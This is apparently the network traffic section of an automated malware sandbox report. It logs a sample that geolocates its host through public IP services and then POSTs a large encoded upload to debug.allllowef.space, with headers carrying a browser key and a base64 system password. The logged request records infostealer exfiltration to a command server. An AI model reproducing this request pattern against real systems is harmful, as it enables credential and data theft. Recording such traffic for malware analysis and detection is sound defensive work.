Aug 13, 2026 15:56:24.820650101 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.820732117 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.826829910 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.826857090 CEST	443	49167	138.124.70.84	192.168.0.58
Aug 13, 2026 15:56:24.826962948 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.826962948 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.826982975 CEST	443	49167	138.124.70.84	192.168.0.58
Aug 13, 2026 15:56:24.826997042 CEST	443	49167	138.124.70.84	192.168.0.58
Aug 13, 2026 15:56:24.827522993 CEST	443	49167	138.124.70.84	192.168.0.58
Aug 13, 2026 15:56:24.827680111 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.827902079 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.864003897 CEST	443	49167	138.124.70.84	192.168.0.58
Aug 13, 2026 15:56:24.864291906 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.864367962 CEST	443	49167	138.124.70.84	192.168.0.58
Aug 13, 2026 15:56:24.864568949 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.864814043 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.865104914 CEST	443	49167	138.124.70.84	192.168.0.58
Aug 13, 2026 15:56:24.865370035 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.891362906 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.891401052 CEST	443	49168	138.124.70.84	192.168.0.58
Aug 13, 2026 15:57:24.891693115 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.891967058 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.891988039 CEST	443	49168	138.124.70.84	192.168.0.58
Aug 13, 2026 15:57:24.950767040 CEST	443	49168	138.124.70.84	192.168.0.58
Aug 13, 2026 15:57:24.951168060 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.951168060 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.957601070 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.957601070 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.957627058 CEST	443	49168	138.124.70.84	192.168.0.58
Aug 13, 2026 15:57:24.957639933 CEST	443	49168	138.124.70.84	192.168.0.58
Aug 13, 2026 15:57:24.957696915 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.957705975 CEST	443	49168	138.124.70.84	192.168.0.58
Aug 13, 2026 15:57:24.958412886 CEST	443	49168	138.124.70.84	192.168.0.58
Aug 13, 2026 15:57:24.958564997 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.958801985 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.995244026 CEST	443	49168	138.124.70.84	192.168.0.58
Aug 13, 2026 15:57:24.995501041 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.995599985 CEST	443	49168	138.124.70.84	192.168.0.58
Aug 13, 2026 15:57:24.995846033 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.996098995 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:57:24.996372938 CEST	443	49168	138.124.70.84	192.168.0.58
Aug 13, 2026 15:57:24.996607065 CEST	49168	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:58:22.838958979 CEST	443	56527	17.248.209.54	192.168.0.58
Aug 13, 2026 15:58:22.839215040 CEST	56527	443	192.168.0.58	17.248.209.54

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 13, 2026 15:55:20.920272112 CEST	58639	53	192.168.0.58	4.2.2.1
Aug 13, 2026 15:55:20.933057070 CEST	53	58639	4.2.2.1	192.168.0.58
Aug 13, 2026 15:55:20.996975899 CEST	51640	443	192.168.0.58	17.253.145.10
Aug 13, 2026 15:55:21.014580965 CEST	60396	443	192.168.0.58	17.253.145.10
Aug 13, 2026 15:55:21.032706976 CEST	50788	53	192.168.0.58	4.2.2.1
Aug 13, 2026 15:55:21.045514107 CEST	53	50788	4.2.2.1	192.168.0.58
Aug 13, 2026 15:55:21.128509045 CEST	53	63815	4.2.2.1	192.168.0.58
Aug 13, 2026 15:55:21.176939964 CEST	59082	53	192.168.0.58	4.2.2.1
Aug 13, 2026 15:55:21.189665079 CEST	53	59082	4.2.2.1	192.168.0.58
Aug 13, 2026 15:55:21.269726992 CEST	64235	443	192.168.0.58	17.253.150.10
Aug 13, 2026 15:55:22.048899889 CEST	60396	443	192.168.0.58	17.253.145.10
Aug 13, 2026 15:55:22.282352924 CEST	64235	443	192.168.0.58	17.253.150.10
Aug 13, 2026 15:55:22.884675980 CEST	59510	53	192.168.0.58	4.2.2.1
Aug 13, 2026 15:55:23.034533978 CEST	53	59510	4.2.2.1	192.168.0.58
Aug 13, 2026 15:55:24.117150068 CEST	60396	443	192.168.0.58	17.253.145.10
Aug 13, 2026 15:55:24.348366022 CEST	64235	443	192.168.0.58	17.253.150.10
Aug 13, 2026 15:55:28.199263096 CEST	60396	443	192.168.0.58	17.253.145.10
Aug 13, 2026 15:55:28.359173059 CEST	64235	443	192.168.0.58	17.253.150.10
Aug 13, 2026 15:55:36.276679993 CEST	60396	443	192.168.0.58	17.253.145.10
Aug 13, 2026 15:55:36.443157911 CEST	64235	443	192.168.0.58	17.253.150.10
Aug 13, 2026 15:55:46.779236078 CEST	57535	443	192.168.0.58	17.253.145.10
Aug 13, 2026 15:55:46.909838915 CEST	53	54854	4.2.2.1	192.168.0.58
Aug 13, 2026 15:55:46.953373909 CEST	54716	443	192.168.0.58	17.253.145.10
Aug 13, 2026 15:57:24.870546103 CEST	64767	53	192.168.0.58	4.2.2.1
Aug 13, 2026 15:57:24.889982939 CEST	53	64767	4.2.2.1	192.168.0.58
Aug 13, 2026 15:58:21.093904018 CEST	53	62811	4.2.2.1	192.168.0.58

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 13, 2026 15:55:20.920272112 CEST	192.168.0.58	4.2.2.1	0xc8d0	Standard query (0)	freeipapi.com	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:21.032706976 CEST	192.168.0.58	4.2.2.1	0x30cf	Standard query (0)	free.freeipapi.com	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:21.176939964 CEST	192.168.0.58	4.2.2.1	0xf0dc	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:22.884675980 CEST	192.168.0.58	4.2.2.1	0xddc3	Standard query (0)	debug.allllowef.space	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:57:24.870546103 CEST	192.168.0.58	4.2.2.1	0xed9c	Standard query (0)	debug.allllowef.space	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 13, 2026 15:55:20.933057070 CEST	4.2.2.1	192.168.0.58	0xc8d0	No error (0)	freeipapi.com	188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:20.933057070 CEST	4.2.2.1	192.168.0.58	0xc8d0	No error (0)	freeipapi.com	188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:21.045514107 CEST	4.2.2.1	192.168.0.58	0x30cf	No error (0)	free.freeipapi.com	188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:21.045514107 CEST	4.2.2.1	192.168.0.58	0x30cf	No error (0)	free.freeipapi.com	188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:21.189665079 CEST	4.2.2.1	192.168.0.58	0xf0dc	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:21.189665079 CEST	4.2.2.1	192.168.0.58	0xf0dc	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:21.189665079 CEST	4.2.2.1	192.168.0.58	0xf0dc	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:23.034533978 CEST	4.2.2.1	192.168.0.58	0xddc3	No error (0)	debug.allllowef.space	138.124.70.84	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:46.893098116 CEST	4.2.2.1	192.168.0.58	0x63c2	No error (0)	weather-edge.fe2.apple-dns.net		65	IN (0x0001)	false
Aug 13, 2026 15:55:46.893115044 CEST	4.2.2.1	192.168.0.58	0x41f9	No error (0)	weather-edge.fe2.apple-dns.net	17.248.209.46	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:46.893115044 CEST	4.2.2.1	192.168.0.58	0x41f9	No error (0)	weather-edge.fe2.apple-dns.net	17.248.209.54	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:46.893115044 CEST	4.2.2.1	192.168.0.58	0x41f9	No error (0)	weather-edge.fe2.apple-dns.net	17.248.209.62	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:46.893115044 CEST	4.2.2.1	192.168.0.58	0x41f9	No error (0)	weather-edge.fe2.apple-dns.net	17.248.209.74	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:55:46.893115044 CEST	4.2.2.1	192.168.0.58	0x41f9	No error (0)	weather-edge.fe2.apple-dns.net	17.248.209.81	A (IP address)	IN (0x0001)	false
Aug 13, 2026 15:57:24.889982939 CEST	4.2.2.1	192.168.0.58	0xed9c	No error (0)	debug.allllowef.space	138.124.70.84	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

freeipapi.com

free.freeipapi.com

api.ipify.org

debug.allllowef.space

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.0.58	49161	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2026-08-13 13:55:21 UTC	61	OUT	GET /api/json/ HTTP/1.1 accept: / host: freeipapi.com
2026-08-13 13:55:21 UTC	595	IN	HTTP/1.1 302 Found Date: Thu, 13 Aug 2026 13:55:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://free.freeipapi.com/api/json/ Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Z7N5Wvz%2B8mlA2kkoKlWAMPP2Au%2FKTsA0h0mm%2FyieRAfrZFkTSSprSorP9%2FuVA%2FIdlCssidewUxIbMO%2FZna7c8mQiRkyZ%2FpSwROlcMptCZW7NFcNK6a1Fu76sacw0k075"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server: cloudflare CF-RAY: a2a83788585701f8-ZRH Content-Length: 143
2026-08-13 13:55:21 UTC	143	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.0.58	49162	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2026-08-13 13:55:21 UTC	108	OUT	GET /api/json/ HTTP/1.1 accept: / referer: https://freeipapi.com/api/json/ host: free.freeipapi.com
2026-08-13 13:55:21 UTC	865	IN	HTTP/1.1 200 OK Date: Thu, 13 Aug 2026 13:55:21 GMT Content-Type: application/json Content-Length: 441 Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Access-Control-Allow-Origin: * Cache-Control: no-cache, private last-modified: Thu, 13 Aug 2026 13:55:21 GMT Vary: X-FreeIPAPI-Cache-Key X-Powered-By: PHP/8.4.8 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 59 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Accept-Ranges: bytes cf-cache-status: MISS Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=KYsEU7gV8%2FD9NLwOupouKvcK8GvkyTg0ru6QoTlK7Y%2B5B%2B8KJDa6noqH7jffPR89lY73rusKGEg5TW0OP0fOs0StO%2BXiVctfEhUIFcJQZxZ18S1H6Ci68B8NIZsefQNZ7e0ORi0%3D"}]} CF-RAY: a2a83788dcd1a032-ZRH alt-svc: h3=":443"; ma=86400
2026-08-13 13:55:21 UTC	441	IN	Data Raw: 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 34 2e 31 37 2e 35 32 2e 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 37 2e 33 37 36 39 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 38 2e 35 34 31 36 39 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 63 61 70 69 74 61 6c 22 3a 22 42 65 72 6e 22 2c 22 70 68 6f 6e 65 43 6f 64 65 73 22 3a 5b 34 31 5d 2c 22 74 69 6d 65 5a 6f 6e 65 73 22 3a 5b 22 45 75 72 6f 70 65 5c 2f 5a 75 72 69 63 68 22 5d 2c 22 7a 69 70 43 6f 64 65 22 3a 22 38 30 39 39 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 72 65 67 Data Ascii: {"ipVersion":4,"ipAddress":"84.17.52.9","latitude":47.3769,"longitude":8.54169,"countryName":"Switzerland","countryCode":"CH","capital":"Bern","phoneCodes":[41],"timeZones":["Europe\/Zurich"],"zipCode":"8099","cityName":"Zurich","regionName":"Zurich","reg

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.0.58	49163	104.26.12.205	443

Timestamp	Bytes transferred	Direction	Data
2026-08-13 13:55:21 UTC	64	OUT	GET /?format=json HTTP/1.1 accept: / host: api.ipify.org
2026-08-13 13:55:21 UTC	222	IN	HTTP/1.1 200 OK Date: Thu, 13 Aug 2026 13:55:21 GMT Content-Type: application/json Content-Length: 19 Connection: keep-alive Server: cloudflare Vary: Origin cf-cache-status: DYNAMIC CF-RAY: a2a83789d857bc0e-ZRH
2026-08-13 13:55:21 UTC	19	IN	Data Raw: 7b 22 69 70 22 3a 22 38 34 2e 31 37 2e 35 32 2e 39 22 7d Data Ascii: {"ip":"84.17.52.9"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.0.58	49164	138.124.70.84	443

Timestamp	Bytes transferred	Direction	Data
2026-08-13 13:55:23 UTC	205	OUT	POST /send/ HTTP/1.1 x-api-key: 86770e8759abf2dad9ae85f5e11a25e9 x-chrome-key: P4JesMMS7yigyt7lZ+MGtA== x-system-password: MTIzNDU2 content-length: 1341888 accept: / host: debug.allllowef.space
2026-08-13 13:55:23 UTC	1460	OUT	Data Raw: 4a 7a 45 42 4d 44 41 32 49 7a 55 78 4e 54 4d 39 4d 7a 73 43 58 7a 59 69 51 6a 55 7a 4e 54 4d 31 4d 7a 55 7a 4e 54 4d 31 4d 7a 55 7a 4e 54 4d 6c 4d 7a 59 7a 4e 52 46 48 48 67 34 57 4d 79 51 41 4b 6b 59 65 41 53 67 5a 53 67 45 54 47 6a 77 43 45 42 67 6b 4c 54 59 31 4e 6a 30 49 50 45 4d 46 43 7a 6b 4b 54 52 4d 43 4a 7a 59 7a 4e 54 42 4e 4a 43 4a 44 44 6b 41 65 46 53 45 55 45 56 6b 43 51 69 51 77 4d 53 68 41 4f 42 34 31 4a 69 49 35 49 68 31 42 45 30 6f 34 4e 7a 6f 37 49 6a 77 2f 50 77 41 45 45 42 77 74 43 68 30 78 54 54 59 78 48 68 34 4c 4a 7a 6f 78 4f 30 4a 64 45 56 6c 4e 41 52 6b 6a 4d 42 4d 57 41 55 77 2f 4a 43 74 4e 51 30 55 57 50 45 64 48 52 30 31 5a 51 44 41 6c 45 30 4d 4b 48 69 41 52 41 53 52 44 4e 68 30 6a 49 43 45 51 4a 6a 73 5a 47 68 41 31 4f 77 63 Data Ascii: JzEBMDA2IzUxNTM9MzsCXzYiQjUzNTM1MzUzNTM1MzUzNTMlMzYzNRFHHg4WMyQAKkYeASgZSgETGjwCEBgkLTY1Nj0IPEMFCzkKTRMCJzYzNTBNJCJDDkAeFSEUEVkCQiQwMShAOB41JiI5Ih1BE0o4Nzo7Ijw/PwAEEBwtCh0xTTYxHh4LJzoxO0JdEVlNARkjMBMWAUw/JCtNQ0UWPEdHR01ZQDAlE0MKHiARASRDNh0jICEQJjsZGhA1Owc
2026-08-13 13:55:23 UTC	1460	OUT	Data Raw: 4c 68 67 77 41 68 73 7a 42 78 34 78 50 30 4d 51 45 42 30 75 47 67 46 47 4e 77 67 4f 46 53 59 42 46 79 46 42 52 7a 5a 64 57 30 4d 46 52 51 63 4c 51 51 49 59 41 54 34 6d 4c 55 4d 31 4d 55 52 41 49 43 67 64 43 78 63 49 46 7a 67 2f 52 6b 41 6b 4f 45 51 56 51 43 55 39 4a 51 73 7a 51 67 30 56 49 44 67 43 50 77 55 41 44 52 59 65 4e 6a 73 2f 47 77 55 63 52 6a 73 55 49 31 30 54 46 68 73 77 4c 69 6f 74 41 42 55 6a 4f 68 77 6b 50 56 38 49 47 68 30 69 45 79 77 4c 52 77 59 69 52 77 30 63 4f 54 63 47 4b 42 77 51 41 69 45 6e 4d 44 30 52 4c 41 41 66 43 68 4d 52 41 45 59 39 47 51 63 37 4f 31 6b 79 53 67 55 37 44 67 51 4d 49 41 30 71 4f 42 59 7a 46 41 45 38 41 41 56 4e 52 78 55 63 45 42 63 75 4b 43 31 41 52 31 30 79 58 51 41 6c 49 45 4a 44 4e 6b 63 51 58 77 51 39 42 55 55 Data Ascii: LhgwAhszBx4xP0MQEB0uGgFGNwgOFSYBFyFBRzZdW0MFRQcLQQIYAT4mLUM1MURAICgdCxcIFzg/RkAkOEQVQCU9JQszQg0VIDgCPwUADRYeNjs/GwUcRjsUI10TFhswLiotABUjOhwkPV8IGh0iEywLRwYiRw0cOTcGKBwQAiEnMD0RLAAfChMRAEY9GQc7O1kySgU7DgQMIA0qOBYzFAE8AAVNRxUcEBcuKC1AR10yXQAlIEJDNkcQXwQ9BUU
2026-08-13 13:55:23 UTC	1460	OUT	Data Raw: 4d 51 34 7a 50 6b 59 79 53 6a 63 4c 4e 53 67 44 4e 30 77 35 58 7a 41 75 4d 78 64 4b 50 78 63 79 45 44 55 42 41 7a 55 52 4e 68 49 77 42 78 55 7a 45 54 41 69 4d 41 51 54 51 43 55 36 4a 44 59 61 47 6b 59 46 50 44 38 31 48 42 4d 69 41 7a 6f 39 4e 68 6f 7a 4d 41 55 61 52 6a 41 5a 4e 67 67 44 48 6b 41 6d 42 7a 41 4f 4d 79 35 48 48 78 52 42 45 54 55 34 4e 54 77 39 4d 79 34 7a 50 78 30 79 4a 77 78 5a 4e 51 59 62 4b 45 59 52 46 78 6b 74 42 52 6b 61 4f 67 67 53 49 52 63 43 48 68 56 42 42 51 77 2f 58 79 45 6d 57 52 34 64 42 42 63 6e 41 6b 78 64 48 43 41 78 53 68 38 59 54 52 77 2b 49 30 77 78 42 45 70 62 41 53 41 4b 4a 31 31 45 45 79 63 43 44 53 41 6d 46 45 49 67 58 79 5a 46 4f 31 38 4c 4f 51 5a 44 4b 41 4a 41 4a 6b 6f 39 4d 45 52 64 48 55 59 42 4d 79 41 69 48 78 6b Data Ascii: MQ4zPkYySjcLNSgDN0w5XzAuMxdKPxcyEDUBAzURNhIwBxUzETAiMAQTQCU6JDYaGkYFPD81HBMiAzo9NhozMAUaRjAZNggDHkAmBzAOMy5HHxRBETU4NTw9My4zPx0yJwxZNQYbKEYRFxktBRkaOggSIRcCHhVBBQw/XyEmWR4dBBcnAkxdHCAxSh8YTRw+I0wxBEpbASAKJ11EEycCDSAmFEIgXyZFO18LOQZDKAJAJko9MERdHUYBMyAiHxk
2026-08-13 13:55:23 UTC	1460	OUT	Data Raw: 4a 53 74 47 42 54 67 2f 4e 68 77 42 51 54 38 6f 50 42 59 54 4d 41 34 46 51 30 59 36 48 77 49 6d 4f 42 31 48 4d 46 38 7a 51 53 63 66 48 43 51 66 54 44 67 4f 51 6a 49 4c 4e 55 63 44 50 6b 77 55 4f 54 59 6b 4d 46 73 4b 54 41 55 35 53 31 73 7a 45 41 55 77 51 54 46 4b 4c 41 6f 31 50 41 55 77 48 30 49 36 52 54 6b 6a 4f 67 6f 41 42 42 63 65 52 44 45 4f 46 53 30 37 42 30 45 31 49 52 73 54 4f 44 73 2b 46 7a 38 46 4e 52 55 53 50 67 34 32 50 54 73 63 50 6a 6b 61 41 69 63 6c 4b 78 4d 6e 4e 68 59 52 4f 7a 6c 4b 4f 45 63 38 48 78 59 46 4f 6a 4d 6e 52 44 73 72 4d 45 73 52 4f 77 59 63 48 41 55 5a 53 68 4d 2f 4c 68 51 45 4d 79 51 69 54 42 6f 38 4d 7a 6f 61 49 44 4d 2f 49 79 41 7a 4f 78 6b 78 49 79 42 45 4e 78 30 31 51 6a 45 6a 49 45 63 33 42 54 34 6f 4e 78 30 77 43 6a 63 Data Ascii: JStGBTg/NhwBQT8oPBYTMA4FQ0Y6HwImOB1HMF8zQScfHCQfTDgOQjILNUcDPkwUOTYkMFsKTAU5S1szEAUwQTFKLAo1PAUwH0I6RTkjOgoABBceRDEOFS07B0E1IRsTODs+Fz8FNRUSPg42PTscPjkaAiclKxMnNhYROzlKOEc8HxYFOjMnRDsrMEsROwYcHAUZShM/LhQEMyQiTBo8MzoaIDM/IyAzOxkxIyBENx01QjEjIEc3BT4oNx0wCjc
2026-08-13 13:55:23 UTC	1460	OUT	Data Raw: 4f 30 42 4c 45 68 4d 4e 46 79 4d 67 51 51 41 47 4f 41 30 63 41 68 6f 43 4e 44 59 49 51 54 41 38 48 77 45 42 47 6a 67 68 57 54 34 56 4e 55 4d 39 45 56 74 43 48 30 63 6d 4e 51 4d 7a 49 78 38 42 48 45 49 6a 54 44 4d 65 4b 78 4d 49 45 69 55 67 48 6a 45 55 4e 54 41 46 49 55 45 55 41 44 35 46 58 51 77 5a 46 68 6b 37 45 45 49 68 46 78 30 65 4b 7a 55 69 4a 79 6f 77 53 7a 34 58 4a 53 41 48 49 7a 34 41 42 6a 68 41 4a 7a 6f 42 4f 67 73 43 41 54 55 30 42 45 55 45 53 69 45 38 42 7a 5a 43 4b 41 63 2f 4d 77 49 38 4a 7a 56 43 47 55 45 4f 50 77 34 72 45 77 41 6c 50 53 55 65 4d 52 51 31 4d 41 55 67 52 54 4d 36 4f 41 42 5a 44 6a 39 47 4f 7a 39 43 4d 42 6b 2b 49 44 77 46 4e 52 4d 66 46 69 55 78 4a 30 6f 54 47 43 30 56 4f 43 4d 37 49 7a 49 37 45 51 51 44 57 54 45 6c 4e 6b 63 Data Ascii: O0BLEhMNFyMgQQAGOA0cAhoCNDYIQTA8HwEBGjghWT4VNUM9EVtCH0cmNQMzIx8BHEIjTDMeKxMIEiUgHjEUNTAFIUEUAD5FXQwZFhk7EEIhFx0eKzUiJyowSz4XJSAHIz4ABjhAJzoBOgsCATU0BEUESiE8BzZCKAc/MwI8JzVCGUEOPw4rEwAlPSUeMRQ1MAUgRTM6OABZDj9GOz9CMBk+IDwFNRMfFiUxJ0oTGC0VOCM7IzI7EQQDWTElNkc
2026-08-13 13:55:23 UTC	1460	OUT	Data Raw: 51 30 41 6c 45 78 4d 78 49 44 63 39 45 44 41 58 4c 44 30 52 48 52 78 41 50 55 41 38 4b 7a 41 57 42 68 78 66 4d 44 34 6d 45 44 31 43 50 7a 4d 6d 47 7a 73 42 42 53 34 37 44 43 51 34 42 7a 6c 48 4a 68 34 44 47 55 51 69 4c 52 46 62 4a 51 30 49 48 44 77 66 46 6b 30 61 4f 44 34 36 4e 42 38 48 51 41 68 46 4e 79 77 64 49 77 74 62 47 78 30 6e 54 41 73 33 43 42 59 51 4f 44 6f 78 4b 42 34 2b 4f 45 73 46 42 69 30 46 42 43 49 35 41 51 64 43 49 79 46 48 47 44 6f 6e 45 42 59 56 45 7a 77 43 4a 45 41 46 53 78 30 78 49 30 6f 4e 52 46 73 48 42 69 55 35 4f 42 6f 59 41 68 30 39 53 79 35 43 41 42 34 43 4d 78 67 42 51 30 63 4f 47 79 63 71 54 41 73 36 49 30 45 65 52 52 67 33 48 45 51 46 46 6c 30 64 41 79 4d 78 50 68 73 65 49 68 73 37 4f 69 68 41 41 52 67 42 4d 79 45 6a 52 53 49 Data Ascii: Q0AlExMxIDc9EDAXLD0RHRxAPUA8KzAWBhxfMD4mED1CPzMmGzsBBS47DCQ4BzlHJh4DGUQiLRFbJQ0IHDwfFk0aOD46NB8HQAhFNywdIwtbGx0nTAs3CBYQODoxKB4+OEsFBi0FBCI5AQdCIyFHGDonEBYVEzwCJEAFSx0xI0oNRFsHBiU5OBoYAh09Sy5CAB4CMxgBQ0cOGycqTAs6I0EeRRg3HEQFFl0dAyMxPhseIhs7OihAARgBMyEjRSI
2026-08-13 13:55:23 UTC	1460	OUT	Data Raw: 47 44 38 46 4f 51 41 31 43 44 59 6d 54 42 77 47 4b 7a 73 77 49 53 4d 45 4f 69 45 57 4e 69 59 4d 48 6a 77 6a 4a 54 55 69 4a 42 74 43 4f 69 6f 38 42 43 64 5a 4c 45 49 54 47 6c 38 44 48 53 55 38 50 45 4d 36 50 77 51 33 42 67 49 58 49 6a 59 4f 57 51 59 51 58 77 68 46 4a 52 6f 61 45 42 55 46 45 79 59 39 4c 45 41 58 51 51 63 7a 42 69 55 36 4f 43 55 59 52 68 59 59 46 68 73 51 4e 77 63 58 42 42 70 43 57 78 41 42 49 67 30 49 41 6b 6f 47 47 44 6f 6b 49 77 4d 47 53 67 4d 66 42 45 73 53 48 43 4d 78 42 79 6f 6d 48 43 41 59 42 69 74 66 57 54 73 6e 41 78 78 41 48 44 6f 51 41 69 56 46 51 43 41 48 51 54 6b 4e 43 42 74 42 42 67 4e 62 4e 69 34 6e 4a 55 74 44 4f 67 56 41 4d 54 39 46 51 68 31 4c 44 53 64 47 4b 68 42 4b 44 52 30 2b 53 69 41 2b 4c 6b 70 42 4a 54 70 5a 46 78 55 Data Ascii: GD8FOQA1CDYmTBwGKzswISMEOiEWNiYMHjwjJTUiJBtCOio8BCdZLEITGl8DHSU8PEM6PwQ3BgIXIjYOWQYQXwhFJRoaEBUFEyY9LEAXQQczBiU6OCUYRhYYFhsQNwcXBBpCWxABIg0IAkoGGDokIwMGSgMfBEsSHCMxByomHCAYBitfWTsnAxxAHDoQAiVFQCAHQTkNCBtBBgNbNi4nJUtDOgVAMT9FQh1LDSdGKhBKDR0+SiA+LkpBJTpZFxU
2026-08-13 13:55:23 UTC	1460	OUT	Data Raw: 49 52 59 64 4d 52 49 45 50 44 45 37 49 68 77 67 45 54 4d 42 47 6b 4e 64 45 6c 30 6e 49 30 45 6e 49 31 6b 78 46 78 77 7a 4f 79 55 31 46 41 63 61 51 7a 41 6b 42 55 63 47 41 55 59 73 51 41 35 4b 4a 45 59 42 50 6a 45 37 54 52 6b 52 43 6a 59 39 4f 7a 59 47 4f 77 49 61 45 68 45 33 4e 7a 49 33 44 42 73 67 50 44 67 63 41 6a 51 6c 41 51 49 44 4c 45 63 47 57 54 38 31 41 45 45 45 42 68 59 65 49 77 63 34 52 54 30 52 4d 43 4d 56 48 78 55 46 57 78 30 61 42 77 45 48 45 68 56 48 42 78 49 56 46 52 38 69 52 52 77 64 4f 44 4e 43 42 6b 55 2f 58 30 51 77 4a 44 6f 38 51 6c 30 48 4b 7a 67 42 54 43 63 34 4a 67 42 4b 4f 7a 59 58 46 43 30 67 50 42 73 34 41 69 51 35 45 54 55 77 58 53 63 41 49 30 51 56 4a 30 64 44 51 52 77 45 4e 52 55 6e 42 45 46 42 46 69 63 57 42 42 39 62 46 78 59 Data Ascii: IRYdMRIEPDE7IhwgETMBGkNdEl0nI0EnI1kxFxwzOyU1FAcaQzAkBUcGAUYsQA5KJEYBPjE7TRkRCjY9OzYGOwIaEhE3NzI3DBsgPDgcAjQlAQIDLEcGWT81AEEEBhYeIwc4RT0RMCMVHxUFWx0aBwEHEhVHBxIVFR8iRRwdODNCBkU/X0QwJDo8Ql0HKzgBTCc4JgBKOzYXFC0gPBs4AiQ5ETUwXScAI0QVJ0dDQRwENRUnBEFBFicWBB9bFxY
